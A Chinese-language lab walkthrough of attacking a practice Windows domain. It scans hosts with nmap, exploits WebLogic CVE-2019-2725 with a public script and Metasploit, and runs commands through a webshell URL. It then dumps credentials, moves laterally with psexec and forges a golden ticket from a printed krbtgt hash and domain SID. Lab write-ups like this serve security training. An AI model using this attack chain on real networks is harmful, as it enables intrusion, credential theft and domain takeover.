参考文章

1
2
3
4
https://www.cnblogs.com/bktown/p/16904232.html

https://blog.csdn.net/m0_75178803/article/details/136114052?utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-0-136114052-blog-123156086.235^v43^pc_blog_bottom_relevance_base7&spm=1001.2101.3001.4242.1&utm_relevant_index=1

网络拓扑图

1qaz@WSX

# 环境搭建

解压后找文件内的 vmx 后缀文件,会自动打开虚拟机加载, PC 为网关服务器,需要两张网卡,一个用来向外网提供 web 服务,一个是通向内网机器,通向外网所以需要再建立一个网卡,保证 PCkali 同一个网段,靶机 WebPC 均是双网卡, WEB 登陆时切换用户为: WEB\de1ay 密码: 1qaz@WSX 才能进入,初始无法进入

# 网卡设置

新增网卡修改子网 IP VMnet2 相当于新增内网网段,提供给靶场使用,在网络适配器加入

1
10.10.10.0

DC 域控提供单独的 10 网段就行了,需要出网机器是两个网络适配器,出网 or 不出网,靶机默认开机密码都是 1qaz@WSX 需要注意的是, Web 需要切换用户进去登录输入密码才可以

# 修改 Kali 网段

靶机 WEB PC 出网网段默认是 111 我们可以修改 Kali 网卡网段为 111 , 使其和两台出网靶机网段一直,这是最方便的方式,也可以不修改原始 Kali 网段,登录进靶机后在网络适配器修改网段为我们 Kali

修改 Kali 网段,发现它是 VMnet8 自定义,打开虚拟网络编辑器,手动修改此网卡为 111 网段

修改成功 Kali 网卡网段,打开它然后测试 IP 地址并对该网段主机进行扫描看看是否能发现 WEBPC

1
ifconfig 

网段扫描是可以成功扫出,说明攻击机 Kali 和靶机已经在同一网段下

1
2
arp-scan -l

# IP 分布

主机IP 地址
kali 攻击机192.168.111.128
PC外网 IP 192.168.111.201 / 内网 IP 10.10.10.201
WEB外网 IP 192.168.111.80 / 内网 IP 10.10.10.80
DC 域控内网 IP 10.10.10.10

Kali

网段扫描出 PC 机器,但是没有 WEB ( PC ping 不通猜测被拦截或者不出网)

PC

WEB

DC

# WEB 渗透

这里我首先使用 nmap 扫描该网段主机,但是发现 WEB一度 扫描不到,排查一番才发现因为网络适配器设置错误,导致不出网络,修改后即可出网.

PC WEB 适配器均此设置, NET 自动获取 IP , 代表同 Kali 同一网段, VMnet2 自定义内网网段 10 , 但是这里其实 Kali 是手动改的,反正只要同一个网段就没事

# Weblogin 服务开启

打开 WEB 机器,进入 C:\Oracle\Middleware\user_projects\domains\base_domain\bin 路径,输入管理员账户密码 administrator/1qaz@WSX 右键 startWebLogic 执行,代表开启了 Weblogin 服务, shell 是在此获取的

Kali 端口扫描

kali 中直接 ping web 发现 ping 不通,可能是防火墙的问题,但是 nmap 扫描需要指定扫描方式为 SYN

1
nmap -sS -sV 192.168.111.80   // -sS 扫描方式SYN  -sV服务识别

端口开启可能存在的漏洞,实验直接照 WP常见端口漏洞

  • 445 端口开放意味着存在 smb 服务,可能存在 ms17_010 永恒之蓝漏洞。
  • 139 端口,就存在 Samba 服务,可能存在爆破 / 未授权访问 / 远程命令执行漏洞。
  • 1433 端口,就存在 mssql 服务,可能存在爆破 / 注入 / SA 弱口令。
  • 开放 7001 端口可能存在 Weblogi

访问 80 空白

访问 7001 报错页面,报错肯定就是要递归的去扫描的,开字典进行扫描,

70001 是中间件 weblogin 服务默认端口

# 漏洞扫描

通过 WeblogicScan 扫描和 nuclei 均有效果并给出了漏洞地址,直接梭哈,当然还有其他的工具也能扫描出来比如 Goby

历史 CVE

1
2
3
4
5
CVE-2017-10271
CVE-2017-3506
CVE-2019-2725
CVE-1019-2729

漏洞地址

1
http://192.168.111.80:7001/console/login/LoginForm.jsp

# CVE 工具利用

知道了存在反序列化漏洞,在网上寻找相关 exp

GItHub 地址

工具梭哈得到了命令执行地址

1
2
3
4
5
6
7
pip install logzero 
pip install requests
python weblogic-2019-2725.py 10.3.6 http://192.168.111.80:7001

命令执行地址:

http://192.168.111.80:7001/bea_wls_internal/demo.jsp?pwd=admin&cmd=ipconfig

CVE 工具虽然给出了 Webshell 地址和密码但是我利用连接工具却连接不上,重新找一个利用工具使用,上传新的马子

Java 反序列化利用工具

# MSF 上线

1
2
3
search  CVE-2019-2725   // 寻找CVE

use 0 // 使用第一个

1
2
3
4
5
set rhost 192.168.111.80  // 出现漏洞的地址
set lhost 192.168.111.128 // kali地址
set target 1 // 设置目标版本为第一个 代表是windows系统

run // 攻击

利用成功得到 shell

MSF 权限 ShellCS

# 内网渗透

# 域内信息收集

查看本机所在域

1
2
3
4
shell ipconfig /all 

所在域: delay.com

扫描 IP 发现内网 10 网段

1
2
shell ipconfig

1
2
3
shell  net group "domain controllers" /domain  

域控: DC

1
2
3
net group "domain computers" /domain  //  查看域中的其他主机名 探测到了PC

域内其他主机: PC

ping 域控 DC 和成员主机 PC 收集 IP 地址

PC 不同但是还是得出了地址,包括 DC, 在列表中可以看到目标

1
2
3
域控制器 : DC.de1ay.com

PC域名 : pc.de1ay.com

# 凭证横向移动

CS 抓取 WEB 凭证明文和 hash , 利用此凭证横向移动攻击域控

扫描发现域控存在 445 端口开启,故而创建 SMB 监听器,利用凭证配合 psexec

由于 weblogic 启动需要域管理员密码,而本台 webserver2008 存在内存明文密码的漏洞 故而可知域管理员账密 administrator/1qaz@WSX

创建 SMB 监听器横向

拿下域控权限,另一台机器也同理,利用凭证横向过去,这里不错演示

# 权限维持

# 黄金票据

DC 域控凭证提权抓取 hash 值得到域控下其他用户的账户密码,关键的用户是 krbtgthash 值, krbtgt 用户是域中用来管理发放票据的用户,拥有了该用户的权限,就可以伪造系统中的任意用户

1
82dfc71b72a11ef37d663047bc2088fb  //krbtgt hash值

伪造条件

  • 目标的用户名及域名
  • 域的 SID
  • DCKRBTGT 用户的 NTLM 哈希

1
2
3
4
5
logonpasswords  // 查找域的sid

S-1-5-21-2756371121-2868759905-3853650604


输入自定义的用户名和以知信息,伪造黄金票据

回到 WEB 会话面板,远程远程连接 dir 域控 c 盘成功

白银票据

等级低一点的白银票据,条件也是需要获取 sidhash